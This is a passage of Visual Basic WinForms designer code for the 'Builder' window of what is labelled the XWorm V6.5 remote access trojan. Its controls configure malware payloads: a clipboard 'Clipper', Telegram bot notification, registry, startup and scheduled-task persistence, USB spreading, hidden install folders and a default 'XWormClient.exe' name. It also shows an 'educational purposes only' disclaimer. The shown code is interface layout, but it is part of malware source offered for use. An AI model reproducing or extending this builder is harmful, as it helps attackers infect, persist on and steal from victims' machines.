Me.Label18.Size = New System.Drawing.Size(57, 13)
|
||||
Me.Label18.TabIndex = 83
|
||||
Me.Label18.Text = "TBotNotify"
|
||||
'
|
||||
'Guna2ToggleSwitch6
|
||||
'
|
||||
Me.Guna2ToggleSwitch6.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch6.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch6.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch6.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch6.Location = New System.Drawing.Point(224, 29)
|
||||
Me.Guna2ToggleSwitch6.Name = "Guna2ToggleSwitch6"
|
||||
Me.Guna2ToggleSwitch6.Size = New System.Drawing.Size(35, 20)
|
||||
Me.Guna2ToggleSwitch6.TabIndex = 86
|
||||
Me.Guna2ToggleSwitch6.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch6.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2ToggleSwitch6.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Me.Guna2ToggleSwitch6.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Label19
|
||||
'
|
||||
Me.Label19.AutoSize = True
|
||||
Me.Label19.Location = New System.Drawing.Point(265, 33)
|
||||
Me.Label19.Name = "Label19"
|
||||
Me.Label19.Size = New System.Drawing.Size(39, 13)
|
||||
Me.Label19.TabIndex = 85
|
||||
Me.Label19.Text = "Clipper"
|
||||
'
|
||||
'Guna2CheckBox5
|
||||
'
|
||||
Me.Guna2CheckBox5.AutoSize = True
|
||||
Me.Guna2CheckBox5.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox5.CheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox5.CheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox5.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox5.Location = New System.Drawing.Point(218, 100)
|
||||
Me.Guna2CheckBox5.Name = "Guna2CheckBox5"
|
||||
Me.Guna2CheckBox5.Size = New System.Drawing.Size(64, 17)
|
||||
Me.Guna2CheckBox5.TabIndex = 87
|
||||
Me.Guna2CheckBox5.Text = "Registry"
|
||||
Me.Guna2CheckBox5.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2CheckBox5.UncheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox5.UncheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox5.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2CheckBox6
|
||||
'
|
||||
Me.Guna2CheckBox6.AutoSize = True
|
||||
Me.Guna2CheckBox6.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox6.CheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox6.CheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox6.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox6.Location = New System.Drawing.Point(364, 100)
|
||||
Me.Guna2CheckBox6.Name = "Guna2CheckBox6"
|
||||
Me.Guna2CheckBox6.Size = New System.Drawing.Size(60, 17)
|
||||
Me.Guna2CheckBox6.TabIndex = 88
|
||||
Me.Guna2CheckBox6.Text = "Startup"
|
||||
Me.Guna2CheckBox6.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2CheckBox6.UncheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox6.UncheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox6.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2CheckBox7
|
||||
'
|
||||
Me.Guna2CheckBox7.AutoSize = True
|
||||
Me.Guna2CheckBox7.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox7.CheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox7.CheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox7.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox7.Location = New System.Drawing.Point(290, 100)
|
||||
Me.Guna2CheckBox7.Name = "Guna2CheckBox7"
|
||||
Me.Guna2CheckBox7.Size = New System.Drawing.Size(70, 17)
|
||||
Me.Guna2CheckBox7.TabIndex = 89
|
||||
Me.Guna2CheckBox7.Text = "Schtasks"
|
||||
Me.Guna2CheckBox7.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2CheckBox7.UncheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox7.UncheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox7.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2TabControl1
|
||||
'
|
||||
Me.Guna2TabControl1.Controls.Add(Me.TabPage1)
|
||||
Me.Guna2TabControl1.Controls.Add(Me.TabPage2)
|
||||
Me.Guna2TabControl1.Controls.Add(Me.TabPage3)
|
||||
Me.Guna2TabControl1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Me.Guna2TabControl1.ImageList = Me.ImageList1
|
||||
Me.Guna2TabControl1.ItemSize = New System.Drawing.Size(140, 30)
|
||||
Me.Guna2TabControl1.Location = New System.Drawing.Point(0, 0)
|
||||
Me.Guna2TabControl1.Name = "Guna2TabControl1"
|
||||
Me.Guna2TabControl1.SelectedIndex = 0
|
||||
Me.Guna2TabControl1.Size = New System.Drawing.Size(447, 282)
|
||||
Me.Guna2TabControl1.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty
|
||||
Me.Guna2TabControl1.TabButtonHoverState.FillColor = System.Drawing.Color.FromArgb(CType(CType(216, Byte), Integer), CType(CType(214, Byte), Integer), CType(CType(228, Byte), Integer))
|
||||
Me.Guna2TabControl1.TabButtonHoverState.Font = New System.Drawing.Font("Segoe UI Semibold", 10.0!)
|
||||
Me.Guna2TabControl1.TabButtonHoverState.ForeColor = System.Drawing.Color.White
|
||||
Me.Guna2TabControl1.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(CType(CType(216, Byte), Integer), CType(CType(214, Byte), Integer), CType(CType(228, Byte), Integer))
|
||||
Me.Guna2TabControl1.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty
|
||||
Me.Guna2TabControl1.TabButtonIdleState.FillColor = System.Drawing.Color.White
|
||||
Me.Guna2TabControl1.TabButtonIdleState.Font = New System.Drawing.Font("Segoe UI Semibold", 10.0!)
|
||||
Me.Guna2TabControl1.TabButtonIdleState.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TabControl1.TabButtonIdleState.InnerColor = System.Drawing.Color.White
|
||||
Me.Guna2TabControl1.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty
|
||||
Me.Guna2TabControl1.TabButtonSelectedState.FillColor = System.Drawing.Color.White
|
||||
Me.Guna2TabControl1.TabButtonSelectedState.Font = New System.Drawing.Font("Segoe UI Semibold", 10.0!)
|
||||
Me.Guna2TabControl1.TabButtonSelectedState.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TabControl1.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TabControl1.TabButtonSize = New System.Drawing.Size(140, 30)
|
||||
Me.Guna2TabControl1.TabIndex = 90
|
||||
Me.Guna2TabControl1.TabMenuBackColor = System.Drawing.Color.White
|
||||
Me.Guna2TabControl1.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop
|
||||
'
|
||||
'TabPage1
|
||||
'
|
||||
Me.TabPage1.BackColor = System.Drawing.Color.White
|
||||
Me.TabPage1.Controls.Add(Me.Label2)
|
||||
Me.TabPage1.Controls.Add(Me.Guna2TextBox7)
|
||||
Me.TabPage1.Controls.Add(Me.ListBox1)
|
||||
Me.TabPage1.Controls.Add(Me.Label12)
|
||||
Me.TabPage1.Controls.Add(Me.Label3)
|
||||
Me.TabPage1.Controls.Add(Me.Guna2TextBox4)
|
||||
Me.TabPage1.Controls.Add(Me.Label1)
|
||||
Me.TabPage1.Controls.Add(Me.Guna2TextBox2)
|
||||
Me.TabPage1.Controls.Add(Me.Guna2CheckBox3)
|
||||
Me.TabPage1.Controls.Add(Me.Label9)
|
||||
Me.TabPage1.Controls.Add(Me.Guna2TextBox1)
|
||||
Me.TabPage1.Controls.Add(Me.Label10)
|
||||
Me.TabPage1.Controls.Add(Me.Guna2TextBox3)
|
||||
Me.TabPage1.ImageKey = "icons8-network-48.png"
|
||||
Me.TabPage1.Location = New System.Drawing.Point(4, 34)
|
||||
Me.TabPage1.Name = "TabPage1"
|
||||
Me.TabPage1.Padding = New System.Windows.Forms.Padding(3)
|
||||
Me.TabPage1.Size = New System.Drawing.Size(439, 244)
|
||||
Me.TabPage1.TabIndex = 0
|
||||
Me.TabPage1.Text = "Connection"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label2.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label2.Location = New System.Drawing.Point(38, 160)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(43, 13)
|
||||
Me.Label2.TabIndex = 95
|
||||
Me.Label2.Text = "Group :"
|
||||
'
|
||||
'Guna2TextBox7
|
||||
'
|
||||
Me.Guna2TextBox7.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox7.BorderRadius = 3
|
||||
Me.Guna2TextBox7.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox7.DefaultText = "XWorm V6.5 by c3lestial.fun"
|
||||
Me.Guna2TextBox7.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox7.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox7.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox7.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox7.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox7.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox7.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox7.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox7.Location = New System.Drawing.Point(87, 157)
|
||||
Me.Guna2TextBox7.Name = "Guna2TextBox7"
|
||||
Me.Guna2TextBox7.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox7.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox7.PlaceholderText = ""
|
||||
Me.Guna2TextBox7.SelectedText = ""
|
||||
Me.Guna2TextBox7.Size = New System.Drawing.Size(307, 21)
|
||||
Me.Guna2TextBox7.TabIndex = 94
|
||||
'
|
||||
'TabPage2
|
||||
'
|
||||
Me.TabPage2.BackColor = System.Drawing.Color.White
|
||||
Me.TabPage2.Controls.Add(Me.Guna2TextBox6)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2CheckBox8)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2ComboBox2)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2TextBox5)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2ToggleSwitch3)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2CheckBox7)
|
||||
Me.TabPage2.Controls.Add(Me.Label14)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2CheckBox6)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2CheckBox5)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2ToggleSwitch1)
|
||||
Me.TabPage2.Controls.Add(Me.Label15)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2ToggleSwitch6)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2ToggleSwitch2)
|
||||
Me.TabPage2.Controls.Add(Me.Label19)
|
||||
Me.TabPage2.Controls.Add(Me.Label16)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2ToggleSwitch5)
|
||||
Me.TabPage2.Controls.Add(Me.Label17)
|
||||
Me.TabPage2.Controls.Add(Me.Label18)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2ToggleSwitch4)
|
||||
Me.TabPage2.Controls.Add(Me.Guna2NumericUpDown1)
|
||||
Me.TabPage2.Controls.Add(Me.Label13)
|
||||
Me.TabPage2.ImageKey = "icons8_msdf3aintenance_32.png"
|
||||
Me.TabPage2.Location = New System.Drawing.Point(4, 34)
|
||||
Me.TabPage2.Name = "TabPage2"
|
||||
Me.TabPage2.Padding = New System.Windows.Forms.Padding(3)
|
||||
Me.TabPage2.Size = New System.Drawing.Size(439, 244)
|
||||
Me.TabPage2.TabIndex = 1
|
||||
Me.TabPage2.Text = "Settings"
|
||||
'
|
||||
'Guna2TextBox6
|
||||
'
|
||||
Me.Guna2TextBox6.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox6.BorderRadius = 3
|
||||
Me.Guna2TextBox6.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox6.DefaultText = "USB.exe"
|
||||
Me.Guna2TextBox6.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox6.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox6.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox6.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox6.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox6.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox6.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox6.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox6.Location = New System.Drawing.Point(218, 199)
|
||||
Me.Guna2TextBox6.Name = "Guna2TextBox6"
|
||||
Me.Guna2TextBox6.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox6.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox6.PlaceholderText = ""
|
||||
Me.Guna2TextBox6.SelectedText = ""
|
||||
Me.Guna2TextBox6.Size = New System.Drawing.Size(205, 21)
|
||||
Me.Guna2TextBox6.TabIndex = 93
|
||||
'
|
||||
'Guna2CheckBox8
|
||||
'
|
||||
Me.Guna2CheckBox8.AutoSize = True
|
||||
Me.Guna2CheckBox8.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox8.CheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox8.CheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox8.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2CheckBox8.Location = New System.Drawing.Point(218, 177)
|
||||
Me.Guna2CheckBox8.Name = "Guna2CheckBox8"
|
||||
Me.Guna2CheckBox8.Size = New System.Drawing.Size(48, 17)
|
||||
Me.Guna2CheckBox8.TabIndex = 92
|
||||
Me.Guna2CheckBox8.Text = "USB"
|
||||
Me.Guna2CheckBox8.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2CheckBox8.UncheckedState.BorderRadius = 0
|
||||
Me.Guna2CheckBox8.UncheckedState.BorderThickness = 0
|
||||
Me.Guna2CheckBox8.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
'
|
||||
'Guna2ComboBox2
|
||||
'
|
||||
Me.Guna2ComboBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Guna2ComboBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ComboBox2.BorderRadius = 3
|
||||
Me.Guna2ComboBox2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Me.Guna2ComboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Me.Guna2ComboBox2.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ComboBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2ComboBox2.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Me.Guna2ComboBox2.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2ComboBox2.ItemHeight = 15
|
||||
Me.Guna2ComboBox2.Items.AddRange(New Object() {"%AppData%", "%Temp%", "%LocalAppData%", "%Userprofile%", "%Public%", "%ProgramData%"})
|
||||
Me.Guna2ComboBox2.Location = New System.Drawing.Point(218, 123)
|
||||
Me.Guna2ComboBox2.Name = "Guna2ComboBox2"
|
||||
Me.Guna2ComboBox2.Size = New System.Drawing.Size(208, 21)
|
||||
Me.Guna2ComboBox2.TabIndex = 91
|
||||
'
|
||||
'Guna2TextBox5
|
||||
'
|
||||
Me.Guna2TextBox5.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Me.Guna2TextBox5.BorderRadius = 3
|
||||
Me.Guna2TextBox5.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2TextBox5.DefaultText = "XWormClient.exe"
|
||||
Me.Guna2TextBox5.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Me.Guna2TextBox5.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Me.Guna2TextBox5.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox5.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Me.Guna2TextBox5.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox5.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2TextBox5.ForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox5.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Me.Guna2TextBox5.Location = New System.Drawing.Point(218, 150)
|
||||
Me.Guna2TextBox5.Name = "Guna2TextBox5"
|
||||
Me.Guna2TextBox5.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Me.Guna2TextBox5.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Me.Guna2TextBox5.PlaceholderText = ""
|
||||
Me.Guna2TextBox5.SelectedText = ""
|
||||
Me.Guna2TextBox5.Size = New System.Drawing.Size(208, 21)
|
||||
Me.Guna2TextBox5.TabIndex = 90
|
||||
'
|
||||
'Guna2NumericUpDown1
|
||||
'
|
||||
Me.Guna2NumericUpDown1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Guna2NumericUpDown1.BorderRadius = 3
|
||||
Me.Guna2NumericUpDown1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Me.Guna2NumericUpDown1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Me.Guna2NumericUpDown1.Location = New System.Drawing.Point(93, 150)
|
||||
Me.Guna2NumericUpDown1.Maximum = New Decimal(New Integer() {999, 0, 0, 0})
|
||||
Me.Guna2NumericUpDown1.Minimum = New Decimal(New Integer() {1, 0, 0, 0})
|
||||
Me.Guna2NumericUpDown1.Name = "Guna2NumericUpDown1"
|
||||
Me.Guna2NumericUpDown1.Size = New System.Drawing.Size(70, 25)
|
||||
Me.Guna2NumericUpDown1.TabIndex = 73
|
||||
Me.Guna2NumericUpDown1.UpDownButtonFillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Me.Guna2NumericUpDown1.Value = New Decimal(New Integer() {1, 0, 0, 0})
|
||||
'
|
||||
'Label13
|
||||
'
|
||||
Me.Label13.AutoSize = True
|
||||
Me.Label13.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label13.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label13.Location = New System.Drawing.Point(20, 154)
|
||||
Me.Label13.Name = "Label13"
|
||||
Me.Label13.Size = New System.Drawing.Size(67, 13)
|
||||
Me.Label13.TabIndex = 72
|
||||
Me.Label13.Text = "Sleep / Sec :"
|
||||
'
|
||||
'TabPage3
|
||||
'
|
||||
Me.TabPage3.BackColor = System.Drawing.Color.White
|
||||
Me.TabPage3.Controls.Add(Me.PictureBox2)
|
||||
Me.TabPage3.Controls.Add(Me.Label4)
|
||||
Me.TabPage3.Controls.Add(Me.PictureBox4)
|
||||
Me.TabPage3.Controls.Add(Me.Label20)
|
||||
Me.TabPage3.Controls.Add(Me.Guna2CheckBox4)
|
||||
Me.TabPage3.Controls.Add(Me.Guna2GradientButton1)
|
||||
Me.TabPage3.Controls.Add(Me.PictureBox1)
|
||||
Me.TabPage3.Controls.Add(Me.Guna2CheckBox1)
|
||||
Me.TabPage3.Controls.Add(Me.Guna2CheckBox2)
|
||||
Me.TabPage3.ImageKey = "icons8-creating-48.png"
|
||||
Me.TabPage3.Location = New System.Drawing.Point(4, 34)
|
||||
Me.TabPage3.Name = "TabPage3"
|
||||
Me.TabPage3.Padding = New System.Windows.Forms.Padding(3)
|
||||
Me.TabPage3.Size = New System.Drawing.Size(439, 244)
|
||||
Me.TabPage3.TabIndex = 2
|
||||
Me.TabPage3.Text = "Build"
|
||||
'
|
||||
'PictureBox2
|
||||
'
|
||||
Me.PictureBox2.Image = CType(resources.GetObject("PictureBox2.Image"), System.Drawing.Image)
|
||||
Me.PictureBox2.Location = New System.Drawing.Point(15, 65)
|
||||
Me.PictureBox2.Name = "PictureBox2"
|
||||
Me.PictureBox2.Size = New System.Drawing.Size(25, 23)
|
||||
Me.PictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
Me.PictureBox2.TabIndex = 78
|
||||
Me.PictureBox2.TabStop = False
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Me.Label4.AutoSize = True
|
||||
Me.Label4.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label4.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label4.Location = New System.Drawing.Point(46, 70)
|
||||
Me.Label4.Name = "Label4"
|
||||
Me.Label4.Size = New System.Drawing.Size(346, 26)
|
||||
Me.Label4.TabIndex = 77
|
||||
Me.Label4.Text = "This program was created for educational purposes only " & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "you are responsible for " &
|
||||
"your actions,once you use it you agree to this."
|
||||
'
|
||||
'PictureBox4
|
||||
'
|
||||
Me.PictureBox4.Image = CType(resources.GetObject("PictureBox4.Image"), System.Drawing.Image)
|
||||
Me.PictureBox4.Location = New System.Drawing.Point(15, 36)
|
||||
Me.PictureBox4.Name = "PictureBox4"
|
||||
Me.PictureBox4.Size = New System.Drawing.Size(25, 23)
|
||||
Me.PictureBox4.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
Me.PictureBox4.TabIndex = 76
|
||||
Me.PictureBox4.TabStop = False
|
||||
'
|
||||
'Label20
|
||||
'
|
||||
Me.Label20.AutoSize = True
|
||||
Me.Label20.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label20.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label20.Location = New System.Drawing.Point(46, 41)
|
||||
Me.Label20.Name = "Label20"
|
||||
Me.Label20.Size = New System.Drawing.Size(337, 13)
|
||||
Me.Label20.TabIndex = 75
|
||||
Me.Label20.Text = "Payload size changes based on your choice of settings and features!"
|
||||
'
|
||||
'Builder
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
|
||||
Me.BackColor = System.Drawing.Color.White
|
||||
Me.ClientSize = New System.Drawing.Size(447, 282)
|
||||
Me.Controls.Add(Me.Guna2TabControl1)
|
||||
Me.ForeColor = System.Drawing.Color.Black
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.MaximizeBox = False
|
||||
Me.MinimizeBox = False
|
||||
Me.Name = "Builder"
|
||||
Me.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide
|
||||
Me.Text = "Builder"
|
||||
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.Guna2TabControl1.ResumeLayout(False)
|
||||
Me.TabPage1.ResumeLayout(False)
|
||||
Me.TabPage1.PerformLayout()
|
||||
Me.TabPage2.ResumeLayout(False)
|
